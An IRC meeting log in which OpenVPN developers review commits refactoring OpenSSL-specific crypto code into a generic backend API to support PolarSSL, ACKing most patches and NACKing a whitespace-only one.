community.openvpn.net) 12:09 <@andj> hi everyone 12:09 <@dazo> andj: no, it's been hectic a work again ... have a new kernel to test, with 17 NIC drivers to get tested 12:09 <@dazo> andj: but I'll try to get that squeezed in when I have some breaks 12:09 <@andj> ah, nice... hardware tests :) 12:10 <@dazo> yeah, kind of 12:11 <@andj> In that case, I suggest we skip the doxygen patches, and start on the openssl separation patches 12:11 <@andj> and let dazo check and merge doxygen as he can find the time 12:12 <@andj> Mattock, are you taking notes on the topic tables? 12:12 <@dazo> yeah, jamesyonan have given a content ACK in the docs ... and I'll just verify that it's plain doc patches 12:12 <@mattock> andj: I can do it 12:12 <@mattock> I'll add links to the mailing list threads, too 12:12 <@dazo> andj: they're going in, I feel that's for sure 12:12 <@andj> mattock: cool, that leaves me free to code 12:12 <@andj> dazo: yeah, I'd hoped for that 12:12 <@dazo> :) 12:13 <@andj> So, first patch: https://github.com/andj/openvpn-ssl-refactoring/commit/7b829e3d539108545d47241a1a773cd2551de009 12:13 <@vpnHelper> Title: Commit 7b829e3d539108545d47241a1a773cd2551de009 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:14 <@andj> This patch changes configure to find polarssl, if --with-ssl-type=polarssl 12:14 <@andj> the default is of course openssl 12:15 <@andj> it's quiet :) 12:15 <@dazo> andj: except of the one whitespace issue on line 312/322 and on 808 ... it looks fine ... I can clean up that when merging stuff 12:16 <@dazo> and I know it works, as I've built both with polarssl and openssl on Fedora 14 12:16 <@andj> dazo: that sounds good 12:17 <@mattock> topic page updated, still missing a few links to gmane 12:17 <@andj> mattock: at some point I didn't post them to gmane 12:17 <@andj> or the mailinglist 12:17 <@mattock> andj: noticed 12:17 <@andj> since it was on github 12:18 <@mattock> andj: you had a tar.gz available somewhere, right? 12:18 <@andj> and I understood it wasn't really appreciated :) 12:18 <@andj> yeah, but github is probably better :) 12:19 <@andj> http://thread.gmane.org/gmane.network.openvpn.devel/4788 12:19 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:19 <@andj> ok, shall we move to the next patch? 12:19 <@dazo> andj: you can use 'git request-pull' ... that gives a better overview in the mail you send the ML 12:19 <@andj> that's the first content one 12:20 <@dazo> unless jamesyonan got something to say, I say ACK on 7b829e3d539108545d47241a1a773cd2551de009 12:20 <@andj> Next one: https://github.com/andj/openvpn-ssl-refactoring/commit/55760a88d092d511bbe9495984c7b345f981e2ec 12:20 <@vpnHelper> Title: Commit 55760a88d092d511bbe9495984c7b345f981e2ec to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:21 <@dazo> this patch basically abstracts OpenSSL crypto stuff to a generic API, and provides the "glue" between the the new API and OpenSSL, right? 12:21 <@andj> dazo: will send that after the meeting 12:21 <@andj> it's the first of a series that does this 12:21 <@dazo> andj: no stress :) 12:22 <@andj> this one handles the random 12:22 <@dazo> ahh, rand_bytes() only 12:22 <@andj> yes, together with basic infrastructure 12:22 <@andj> Makefile.am, new files are created 12:23 <@dazo> yeah 12:23 <@andj> Did it this way to keep things simple and readable 12:24 <@andj> crypto_backend.h defines the API 12:24 <@dazo> ACK 12:24 <@mattock> updating... 12:24 <@mattock> done 12:25 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b957e47e5cbfd98a6e39790059279edf0a9b448f 12:25 <@vpnHelper> Title: Commit b957e47e5cbfd98a6e39790059279edf0a9b448f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:25 <@andj> is the next commit 12:25 <@andj> This gets rid of some of the OpenSSL specific constants 12:25 <@andj> and lets the backends decide how to define them 12:26 <@mattock> added links to the ACKed patches for convenience 12:26 <@andj> again, not rocket science :) 12:26 <@dazo> ACK 12:26 <@mattock> in case somebody on the ml wants to complain 12:26 <@andj> mattock: sweet 12:27 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/da5221f8d416a05d552dd0e09885ff7d3a677514 12:27 <@vpnHelper> Title: Commit da5221f8d416a05d552dd0e09885ff7d3a677514 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:27 <@andj> changes the max key length location so it's checkable from the backend 12:27 <@andj> again, very simple :) 12:28 <@dazo> [diversion] - Do we really need the #if MAX_CIPHER_KEY_LENGTH < EVP_MAX_KEY_LENGTH crap? 12:28 <@andj> it was there 12:28 <@andj> so I kept it 12:28 <@andj> It's a safeguard against future changes 12:29 <@dazo> yeah, I know ... it's just something to add as a follow-up 12:29 <@andj> we can add notes in mattock's format :) 12:29 <@dazo> it's a compile time warning only 12:30 <@dazo> well, considering we have #define MAX_CIPHER_KEY_LENGTH 64, we might keep them 12:30 <@andj> it doesn't harm the code, and it might protect us against a problem with some future huge-keyed algorithm 12:30 <@dazo> yeah 12:30 <@dazo> ACK on 55760a88d092d511bbe9495984c7b345f981e2ec 12:30 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/8ff526f45566d235b066d70150886f96c81b986c 12:31 <@vpnHelper> Title: Commit 8ff526f45566d235b066d70150886f96c81b986c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:31 <@dazo> duh 12:31 <@dazo> ACK on da5221f8d416a05d552dd0e09885ff7d3a677514, I meant 12:31 <@andj> Is a retty stratightforward function move 12:31 <@andj> +p 12:31 <@andj> it moves the show_available_ stuff 12:32 <@andj> Note that the cipher_ok inline function will be removed in a later patch 12:33 <@dazo> why is the "Workarounds for incompatibilites between OpenSSL libraries. Right now we accept OpenSSL libraries from 0.9.5 to 0.9.7." block here? 12:33 <@andj> It temporarily lives in two places 12:33 <@andj> ssl.c and ssl_openssl.c 12:33 <@dazo> so it will be torn out from ssl.c in a later patch? 12:33 <@andj> until all the functions have been moved to ssl_openssl.c 12:33 <@andj> yes 12:33 <@dazo> okay 12:34 <@andj> (this one: https://github.com/andj/openvpn-ssl-refactoring/commit/740f3b58c7fa48dec5db37e6f6d36b0c47e30957) 12:34 <@dazo> mattock: make a note to look at ssl_openssl.c later on, to remove the outdated OpenSSL version support 12:34 <@vpnHelper> Title: Commit 740f3b58c7fa48dec5db37e6f6d36b0c47e30957 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:34 <@dazo> goodie! 12:34 <@mattock> page updated, hopefully all is still in order: https://community.openvpn.net/openvpn/wiki/Topics-2011-07-14 12:34 <@vpnHelper> Title: Topics-2011-07-14 – OpenVPN Community (at community.openvpn.net) 12:34 <@mattock> updating the page is a full-time job :D 12:34 <@dazo> heh 12:35 <@andj> ") 12:35 <@andj> :) even 12:35 <@andj> another small one: https://github.com/andj/openvpn-ssl-refactoring/commit/33efe72a9c1d9d40609ffc24fb20070f42c4018c 12:35 <@vpnHelper> Title: Commit 33efe72a9c1d9d40609ffc24fb20070f42c4018c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:35 <@andj> (if the last one was acked) 12:36 <@andj> This one clears error status from the crypto backend, 12:37 <@dazo> ACK on 8ff526f45566d235b066d70150886f96c81b986c 12:38 <@andj> cool, the next one is very simple again (33efe72a9c1d9d40609ffc24fb20070f42c4018c) 12:38 <@dazo> mattock: the MAX_CIPHER_KEY_LENGTH < EVP_MAX_KEY_... crap ... yes we do want it! 12:38 <@dazo> (comment can be removed) 12:39 <@mattock> we missed ACK on this one, didn't we? https://github.com/andj/openvpn-ssl-refactoring/commit/33efe72a9c1d9d40609ffc24fb20070f42c4018c 12:39 <@vpnHelper> Title: Commit 33efe72a9c1d9d40609ffc24fb20070f42c4018c to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:39 <@mattock> oh, sorry 12:39 <@dazo> ACK on 33efe72a9c1d9d40609ffc24fb20070f42c4018c 12:39 <@andj> :) 12:39 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/dd253d7934e18343193d085dfe6aff97ea104b05 12:39 <@vpnHelper> Title: Commit dd253d7934e18343193d085dfe6aff97ea104b05 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:39 <@andj> this is the first big one 12:39 <@andj> it moves the init/uninit functions 12:39 <@dazo> 6 files changed, 193 insertions(+), 162 deletions(-) 12:39 <@dazo> yeah, heavier := 12:39 <@dazo> :) 12:39 <@andj> "big" 12:40 <@dazo> what do you basically do here? 12:40 <@andj> The external interface consists of the following: 12:40 <@andj> crypto_init_lib  12:40 <@andj> crypto_uninit_lib  12:40 <@andj> crypto_init_lib_engine  12:40 <@andj> crypto_init_dmalloc  12:40 <@mattock> we're making good progress here, I'm pleased :) 12:40 <@andj> The first 2 initialise/uninitialise OpenSSL 12:41 <@andj> the third initialises the hardware engines 12:41 <@andj> if there is one 12:41 <@andj> it takes a const char *, so it's pretty generic 12:41 <@dazo> but is this also just a "moving from ssl.* -> ssl_openssl.*" change? 12:42 <@andj> and the last one enables memory debugging for openssl... I can't get that much more generic I'm afraid... 12:42 <@andj> yeah, it is 12:42 <@andj> The order changes slightly, to make things a little clearer though 12:42 <@andj> it's all in 1 ifdef now 12:42 <@andj> (the engine stuff) 12:43 <@andj> well, almost 12:43 <@dazo> yeah, well, one thing I notice 12:43 <@dazo> in the "old" init_crypto_lib_engine() engine_initialized = true; is always set, even if CRYPTO_ENGINE is not set 12:44 <@dazo> that does not happen in the new crypto_init_lib_engine (const char *engine_name) 12:45 <@andj> It isn't used outside of CRYPTO_ENGINE code snippets now 12:45 <@dazo> okay 12:46 <@andj> so even the definition is within #if 12:46 <@andj> (see line 104 in crypto_openssl.c 12:46 <@andj> That ensures that things remain cleaner 12:47 <@dazo> that line is EVP_CipherUpdate (ctx, out, outl, in, inl); in my tree. ... 12:47 <@dazo> my HEAD is 4970f1485d4d2117ccb3b1932965809fc51d8efe 12:48 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/dd253d7934e18343193d085dfe6aff97ea104b05#L3R104 12:48 <@andj> :) 12:48 <@vpnHelper> Title: Commit dd253d7934e18343193d085dfe6aff97ea104b05 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:48 <@dazo> ahh, good 12:50 <@dazo> ACK on dd253d7934e18343193d085dfe6aff97ea104b05 12:50 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b8368cccf8b7bc448be9b1b73c83c10499473263 moves the DES key fixup/check functions 12:50 <@vpnHelper> Title: Commit b8368cccf8b7bc448be9b1b73c83c10499473263 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:50 <@andj> There was already a comment about magic numbers there 12:50 <@andj> see https://github.com/andj/openvpn-ssl-refactoring/commit/be63e6e86837cec71b35446a164ab158cd986ab1 12:50 <@vpnHelper> Title: Commit be63e6e86837cec71b35446a164ab158cd986ab1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:51 <@andj> for the fix on that 12:51 <@andj> But that patch lies far in the future 12:52 <@andj> The three important functions are: +int key_des_num_cblocks (const cipher_kt_t *kt); 108 12:52 <@andj> bool key_des_check (uint8_t *key, int key_len, int ndc); 12:52 <@andj> and void key_des_fixup (uint8_t *key, int key_len, int ndc); 12:52 <@dazo> yeah, and they are identical afaics 12:53 <@andj> That's the beauty of a good refactoring session, the code doesn't change (much) :) 12:53 <@dazo> :) 12:53 <@dazo> absolutely 12:54 <@andj> Next patch gets more interesting though, the bread and butter of the crypto lib 12:54 <@dazo> what was the patch which fixes the issues you mentioned? 12:54 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/be63e6e86837cec71b35446a164ab158cd986ab1 12:54 <@vpnHelper> Title: Commit be63e6e86837cec71b35446a164ab158cd986ab1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:54 <@andj> that one 12:54 <@dazo> I see stuff like "+typedef EVP_CIPHER cipher_kt_t;" ... that kind of surprises me a bit 12:54 <@mattock> ACK on b8368? 12:55 <@andj> dazo: you need a generic cipher type and a generic md type 12:55 <@andj> that's what those add 12:55 <@mattock> or still in progress? 12:55 <@mattock> :) 12:55 <@andj> how you define them is up to you, could be a struct/a library, anything 12:55 <@andj> in progress I think :) 12:56 <@andj> not a library, I meant an integer 12:56 <@dazo> yeah, fair enough .... but you use then +key_des_num_cblocks (const EVP_CIPHER *kt) ... why not use cipher_kt_t directly? 12:56 <@andj> It's the openssl specific part of the library 12:56 <@andj> so it's ok to use the openssl-specific construct 12:57 <@andj> makes the openssl code a little clearer, but doesn't hurt the backend API 12:57 <@dazo> yeah, okay ... I can see that point ... I'd like to have a second opinion on b8368cccf8b7bc448be9b1b73c83c10499473263 12:57 <@andj> dazo: changing that shouldn't be a problem though 12:58 <@mattock> jamesyonan: what's your take on https://github.com/andj/openvpn-ssl-refactoring/commit/b8368cccf8b7bc448be9b1b73c83c10499473263 ? 12:58 <@vpnHelper> Title: Commit b8368cccf8b7bc448be9b1b73c83c10499473263 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:58 <@dazo> no, not at all ... it's just that I feel unsure about it, without really knowing why ... and so I'd like to then get a pair of extra eyes on it, just in case 12:58 <@andj> dazo: we can add it as a note, and move on to the next patch for now 12:58 <@dazo> that's fine 12:59 <@mattock> let's move on 12:59 <@dazo> yup :) 12:59 <@jamesyonan> seems reasonable to me 12:59 <@mattock> ok, addings ACKs from dazo and jamesyonan 12:59 <@dazo> okay, then ACK by james and me 12:59 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/d86e00908abc3f98e90d589daadfc07caac4f2c7 12:59 <@vpnHelper> Title: Commit d86e00908abc3f98e90d589daadfc07caac4f2c7 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:00 <@andj> is the next one, had the same criticism 13:00 <@andj> about magic numbers 13:00 <@andj> and again solved in the future patch 13:00 <@dazo> yeah, I saw that 13:01 <@dazo> here you basically simplify two function calls, done often with one function? cipher_des_encrypt_ecb() 13:01 <@andj> This one just simplifies things a little 13:01 <@andj> yeah, exactly 13:01 <@dazo> ACK on d86e00908abc3f98e90d589daadfc07caac4f2c7 13:02 <@andj> ok, bread and butter time 13:02 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/21e946650fae0b777f7e0f1811213f167fb0648a 13:02 <@vpnHelper> Title: Commit 21e946650fae0b777f7e0f1811213f167fb0648a to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:02 <@andj> this one moves the message digest type functions 13:03 <@andj> const md_kt_t * md_kt_get (const char *digest); 13:03 <@andj> const char * md_kt_name (const md_kt_t *kt); 13:03 <@andj> int md_kt_size (const md_kt_t *kt); 13:03 <@andj> are the new backend functions 13:04 <@andj> they allow a digest type to be chosen, and some information about them to be printed 13:04 <@andj> and retrieved 13:06 <@andj> Again, it's just a rename/moe 13:06 <@andj> move 13:06 <@dazo> ACK on 21e946650fae0b777f7e0f1811213f167fb0648a 13:06 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/9bacf964d13a357c3d9d1b6a14121c3694477a24 13:06 <@vpnHelper> Title: Commit 9bacf964d13a357c3d9d1b6a14121c3694477a24 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:06 <@andj> Now that the MD type has moved 13:06 <@dazo> yeah, didn't notice where init_key_type() went :) 13:06 <@andj> this adds the actual functions 13:07 <@andj> I'm trying to keep naming within a backend consistent 13:08 <@andj> There is a subtle change here: the MD5_* functions aren't called anymore 13:08 <@andj> the md_ctx_* generic functions are called instead 13:08 <@dazo> mm 13:09 <@andj> That was done to keep the interface simple, and more generic 13:10 <@dazo> ACK on 9bacf964d13a357c3d9d1b6a14121c3694477a24 13:10 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/f331011e2ab7aa59f5493907a2b1d98925fa7f97 13:10 <@vpnHelper> Title: Commit f331011e2ab7aa59f5493907a2b1d98925fa7f97 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:10 <@andj> same thing, but for HMAC 13:10 <@dazo> mattock: are we going to sprint the whole time today, or did you have any other plans as well? 13:11 * dazo can manage 50 more minutes, but believe his head is about to explode at that point :) 13:11 <@andj> Let's try to get the crypto separation patches done today, if possible :) 13:11 <@dazo> yeah, agreed 13:11 <@dazo> (8 more patches, incl HMAC) 13:11 <@andj> Just move milestone by milestone, and perhaps go for an extra session next week... 13:12 <@andj> or not, depending on when the alpha needs to be released :) 13:12 <@mattock> dazo: no other plans 13:13 <@mattock> if there were, they'd be on the topic page 13:13 <@dazo> goodie :) let's get done with the crypto stuff today then :) 13:14 <@dazo> andj: you add some extra checks in hmac_ctx_init() here? 13:15 <@dazo> + ASSERT(NULL != kt && NULL != ctx); 13:15 <@dazo> + 13:15 <@dazo> + CLEAR(*ctx); 13:15 <@dazo> I presume this is new 13:15 <@andj> yeah, sorry, force of habit 13:15 <@andj> could remove them, but I don't think they hurt 13:15 <@dazo> no, not at all 13:15 <@dazo> I don't mind them here, just wanted to be sure 13:16 <@dazo> but here, more things happens as well 13:16 <@dazo> struct key *key is replaced with const uint8_t *key 13:17 <@dazo> so the whole API is getting rid of the struct as well? 13:17 <@andj> Inside the backend API, yes 13:17 <@dazo> (whole == hmac) 13:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:17 <@andj> to keep the backend API generic 13:18 <@andj> struct key contains both the hmac and the cipher key 13:18 <@dazo> ahh! I see, the struct is used in init_key_hmac() in crypto.c instead of passing them the whole way through 13:18 <@andj> if I'm not mistaken 13:18 <@andj> exactly 13:18 <@andj> and only the hmac key is passed to the backend api 13:19 <@dazo> yeah, which makes a lot more sense as well 13:19 <@dazo> a "need to know" basis on the functions 13:19 <@andj> so  init_hmac (ctx->hmac, kt->digest, key, kt, prefix); 13:19 <@andj> 13:19 <@andj> becomes  hmac_ctx_init (ctx->hmac, key->hmac, kt->hmac_length, kt->digest, 522+    prefix); 13:19 <@andj> (ignoring the 522+ copy-paste error) 13:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:20 <@dazo> why do you add + if (prefix) on the msg() in this function? 13:21 <@andj> Hmm, let me think 13:21 <@dazo> in fact you do it later on twice again, where even a curly brace could caught those two 13:21 <@andj> ah, right... to ensure that you can call it quietly 13:22 <@dazo> but why hook it to the prefix variable? 13:22 <@dazo> ahh, I see now 13:23 <@dazo> the prefix is only used when printing stuff, otherwise it would print (null) instead, which would be nonsense 13:23 <@andj> I'm actually not entirely sure that I'm happy with that bit myself 13:23 <@andj> in the sense that it might not be best to print the information from the backend 13:23 <@dazo> good point 13:24 <@andj> but that the printing should be in the front end perhaps 13:24 <@andj> how about we add a note to try to factor that out in a future patch? 13:24 <@dazo> agreed, that makes a lot more sense .... esp. if it is generic stuff it prints .... if it is backend specific, then it's fine where it is 13:24 <@dazo> agreed 13:25 <@dazo> ACK on f331011e2ab7aa59f5493907a2b1d98925fa7f97 13:25 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968 13:25 <@vpnHelper> Title: Commit 5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:25 <@andj> key types 13:25 <@andj> like md types, but for ciphers 13:25 <@mattock> could someone write a short sentence explaining what part of f331011 should be fixed later? 13:25 <@mattock> a summary, if you will 13:26 * dazo is back 13:26 <@andj> "The hmac_ctx_init function should not print generic information" 13:26 <@mattock> ok 13:26 <@dazo> yeah 13:26 <@mattock> adding 13:28 <@andj> so this one adds static cipher information 13:28 <@andj> which can be used during ... ciphering :) 13:32 <@dazo> In the old implementation, kt_key_size() does check kt->cipher_length ... in addition, and may return kt->cipher_length * 8 13:32 <@dazo> while the new one only uses EVP_CIPHER_key_length() ... no matter what 13:32 <@dazo> any reason for that change? 13:33 <@andj> let me check 13:34 <@dazo> kt_key_size() -> cipher_kt_key_size(), if I didn't miss anything 13:34 <@andj> I think it's because of this +      kt->cipher_length = cipher_kt_key_size (kt->cipher); 13:35 <@andj> so it basically gets initialised from there, and never changed after that as far as I can tell 13:35 <@andj> So it's unnecessary to return kt->cipher_length 13:36 <@andj> which is good, since we then don't need kt in the backend module 13:36 <@andj> struct key_type 13:36 <@andj> is similar to struct key in that sense 13:36 <@dazo> true ... but it's some of the logic which is then lost where 13:36 <@dazo> - if (kt->cipher_length) 13:36 <@dazo> - return kt->cipher_length * 8; 13:37 <@dazo> it's basically 8-doubling the cipher_length in some cases 13:37 <@andj> in the sens that cipher_length changes? 13:37 <@andj> yeah, that's true 13:37 <@dazo> this part of the logic is nowhere now ... and that makes me a bit worried 13:37 <@mattock> jamesyonan: any comments on ^^^ 13:37 <@dazo> - else if (kt->cipher) 13:37 <@dazo> - return EVP_CIPHER_key_length (kt->cipher) * 8; 13:38 <@dazo> and this multiplication is also lost 13:38 <@dazo> would it be correct then add * 8 in crypto.c where cipher_kt_key_size() is called? 13:38 <@jamesyonan> thinking about this... 13:40 <@jamesyonan> the * 8 is just to convert cipher length in bytes to bits 13:41 <@dazo> mm 13:41 <@jamesyonan> it's mostly used for reporting purposes 13:42 <@jamesyonan> so you can say BF-CBC 128 bits 13:43 <@andj> The old kt_key_size function 13:43 <@andj> where the *8 was used 13:43 <@andj> is only used in options.c 13:43 <@andj> as far as I can tell at the moment 13:43 <@dazo> well, but I see kt->cipher_length is used many places ... and I'm worried that if that's now 1/8 of what it was that we're doing something wrong 13:43 <@andj> It's still the same, right? 13:44 <@dazo> yeah ... it's used quite some places in crypto.c ... struct key_type 13:44 <@andj> kt->cipher_length = in bytes 13:44 <@andj> and so is  EVP_CIPHER_key_length (kt->cipher) 13:45 <@andj> so the only difference is in options.c 13:46 <@andj> - buf_printf (&out, ",keysize %d", kt_key_size (&kt));  13:46 <@andj> +  buf_printf (&out, ",keysize %d", kt.cipher_length); 13:46 <@andj> so that should be multiplied by 8 perhaps 13:47 <@andj> the value of cipher_length doesn't change 13:47 <@andj> just the value used in the options string 13:47 <@jamesyonan> yeah, you don't really want to store the *8 value. Internally, we always represent the key size in bytes. 13:48 <@andj> nothing changes, except for the options string, which I'll fix now 13:48 <@jamesyonan> the *8 should only be for reporting the key size in bits 13:50 <@dazo> okay, this is actually an "accidental fix" then ... right? 13:51 <@dazo> (except that options.c now need the *8) 13:51 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/de00fa7e30d7a68528f1ce7338f4f4e83d665090 13:51 <@vpnHelper> Title: Commit de00fa7e30d7a68528f1ce7338f4f4e83d665090 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:51 <@andj> is the patch that fixes the options :) 13:51 <@dazo> :) 13:52 <@dazo> ACK on de00fa7e30d7a68528f1ce7338f4f4e83d665090 ;-) 13:52 <@andj> wheeee 13:52 <@andj> almost there 13:52 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968#L4R2807 13:52 <@vpnHelper> Title: Commit 5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:52 <@dazo> (you forgot signed-off) 13:52 <@andj> That might have happened a few times :( 13:52 <@dazo> yeah, it happens easily 13:53 <@dazo> I might cherry-pick your patches one-by-one, fixing such stuff along the way 13:53 <@andj> Would hurt my tree, but ok :) 13:53 <@dazo> well, as long as jamesyonan finds 5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968 okay, I'm fine with that one 13:54 <@andj> cool, https://github.com/andj/openvpn-ssl-refactoring/commit/05c901305e658d188e2bf5020a425bace935a8a2 13:54 <@vpnHelper> Title: Commit 05c901305e658d188e2bf5020a425bace935a8a2 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:54 <@andj> adds cipher operations 13:55 <@andj> I'd like to immediately add the comment about cipher_ctx_init 13:55 <@andj> which is similar to hmac_ctx_init 13:55 <@andj> in that it contains a msg 13:55 <@andj> so that'll get fixed 13:57 <@jamesyonan> I'm okay with 5b8f6dbaf96b0b82a50e4b3c9acb4bbe6f5bf968 assuming that the * 8 issue is resolved 13:57 <@andj> yeah, I pushed a patch for that just now 13:58 <@dazo> jamesyonan: * 8 is solved by doing it in options.c, where it is printed 13:58 <@jamesyonan> sure, that's reasonable 13:59 <@mattock> a few more 13:59 <@dazo> andj: cipher_ctx_init () is basically using exactly the same approach as the hmac function ... here it prints no matter what, related to prefix ... so moving that out of backend and into frontend makes sense 14:00 <@andj> yup, will do that 14:01 <@dazo> ACK on 05c901305e658d188e2bf5020a425bace935a8a2 14:02 <@andj> doxygen additions: https://github.com/andj/openvpn-ssl-refactoring/commit/81fd3eda9299a19ed5dce7ac89f8638a41dcc2b3 14:02 <@vpnHelper> Title: Commit 81fd3eda9299a19ed5dce7ac89f8638a41dcc2b3 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:03 <@dazo> ACK on 81fd3eda9299a19ed5dce7ac89f8638a41dcc2b3 14:03 <@andj> BTW, we've done the hardcore patches now 14:03 <@andj> rest should be plain sailing 14:03 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/07b4cdb87c866059dee207a77faf4f76bfb9d43f 14:03 <@dazo> whoooh 14:03 <@vpnHelper> Title: Commit 07b4cdb87c866059dee207a77faf4f76bfb9d43f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:03 <@dazo> :) 14:03 <@andj> move a function :) 14:04 <@dazo> just out of curiosity .... why? 14:04 <@andj> keeps the MD* functions close together 14:04 <@dazo> fair enough 14:04 <@dazo> ACK on 07b4cdb87c866059dee207a77faf4f76bfb9d43f 14:04 <@andj> call it OCD 14:04 <@dazo> :) 14:04 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/740f3b58c7fa48dec5db37e6f6d36b0c47e30957 14:04 <@vpnHelper> Title: Commit 740f3b58c7fa48dec5db37e6f6d36b0c47e30957 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:04 <@andj> the promised "get rid of old stuff" 14:04 <@andj> patch 14:05 <@andj> which does what it says on the tin 14:05 <@andj> basically gets rid of all openssl-specific stuff (which was moved in previous patches) 14:05 <@andj> from the crypto.c/h files 14:06 <@dazo> yeah ... I'll just do a compile with openssl, just to be 100% sure :) 14:06 <@andj> :) and last of all 14:06 <@andj> there's https://github.com/andj/openvpn-ssl-refactoring/commit/fe519cd6f0c382e5b75945e8cac9b825a6e3625f 14:06 <@vpnHelper> Title: Commit fe519cd6f0c382e5b75945e8cac9b825a6e3625f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:06 <@andj> which is another OCD patch 14:07 <@andj> doesn't change any code, just whitespace 14:07 <@dazo> ACK on 740f3b58c7fa48dec5db37e6f6d36b0c47e30957 14:09 <@jamesyonan> I'm not really a big fan of patches that change style 14:09 <@mattock> jamesyonan: which one? 14:09 <@andj> jamesyonan: it moves it to the rest of openvpn style 14:09 <@andj> but it can be safely ignored 14:09 <@andj> so we can just leave it :) 14:10 <@dazo> such patches are tricky, it's easy to slip in things ... but I do like a uniform coding style, though 14:10 <@mattock> ah, whitespace 14:10 <@andj> It's in a separate patch because I didn't want to have a row about whitespace :) 14:11 <@mattock> jamesyonan: ACK or NACK? either would be good 14:11 <@jamesyonan> I'd say NACK on fe519 if it's just about whitespace 14:11 <@dazo> it's not easy to do code review on this patch ... as the change set is so big, with big blocks 14:11 <@mattock> ok, NACK then, leave as is 14:11 <@dazo> because of that, I tend to a NACK as well 14:12 <@andj> It does move it to the OpenVPN code style, but let's just nack it 14:12 <@dazo> heh :) Yeah, I'm torn ... as I'd like a pure unified style 14:12 <@dazo> however, I'd need a better tool to verify line-by-line 14:13 <@andj> it's just been pulled through an indenter 14:13 <@jamesyonan> well the problem with patches like these is you are guaranteed to get merge conflicts if any pre-style patches are applied to post-style code 14:13 <@dazo> yeah, even though, 'git apply' have --whitespace=fix .... which really can do miracles in such cases 14:14 <@jamesyonan> right, that's cool 14:15 <@dazo> My only concern is that the review task is heavy ... I woldn't mind ACKing it, if I could just verify it easily that it only changes whitespaces 14:15 <@jamesyonan> yeah, exactly 14:15 <@andj> just throw it through an indenter yourself :) 14:15 <@dazo> :) 14:16 <@dazo> andj: lets' put this one on hold for now ... and when we're through everything else, have things pushed, we can pick up this one again 14:16 <@mattock> sounds good 14:16 <@mattock> still one more, right? "Added a check for Openssl or PolarSSL defines" 14:16 <@andj> yeah, cool 14:16 <@andj> oh, oops 14:16 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/f7843d14f10c3755c96f28d96ed02eeae20d0e56 14:16 <@vpnHelper> Title: Commit f7843d14f10c3755c96f28d96ed02eeae20d0e56 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:17 <@dazo> ACK on f7843d14f10c3755c96f28d96ed02eeae20d0e56 14:17 <@jamesyonan> one is misspelled 14:18 <@mattock> do guys still have energy to review the 6 remaining doxygen patches for "no functionality changes"? 14:18 <@dazo> jamesyonan: which one? 14:18 * dazo must be blind ... 14:18 <@dazo> ahh, in the commit message? 14:19 <@dazo> mattock: the comment on "Refactored maximum cipher and hmac length constants" can be removed ... we agreed it makes sense 14:20 <@andj> Here's the first fix for the cipher doc stuff: https://github.com/andj/openvpn-ssl-refactoring/commit/89e31cfb9c6c5fd33600a76c77e645c24dd0663b 14:20 <@vpnHelper> Title: Commit 89e31cfb9c6c5fd33600a76c77e645c24dd0663b to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:20 <@mattock> dazo: ok, fixing 14:20 <@dazo> thx! 14:20 <@mattock> done 14:22 <@dazo> ACK on 89e31cfb9c6c5fd33600a76c77e645c24dd0663b 14:22 <@jamesyonan> +# error "At least on of OpenSSL or PolarSSL needs to be defined." 14:22 <@dazo> duh! 14:22 <@dazo> now I see it 14:23 <@andj> doh 14:23 <@andj> can you take that along with the patch merge dazo? 14:23 <@dazo> mattock: make a note on that patch, that need to fix spelling "on -> one" 14:23 <@dazo> please 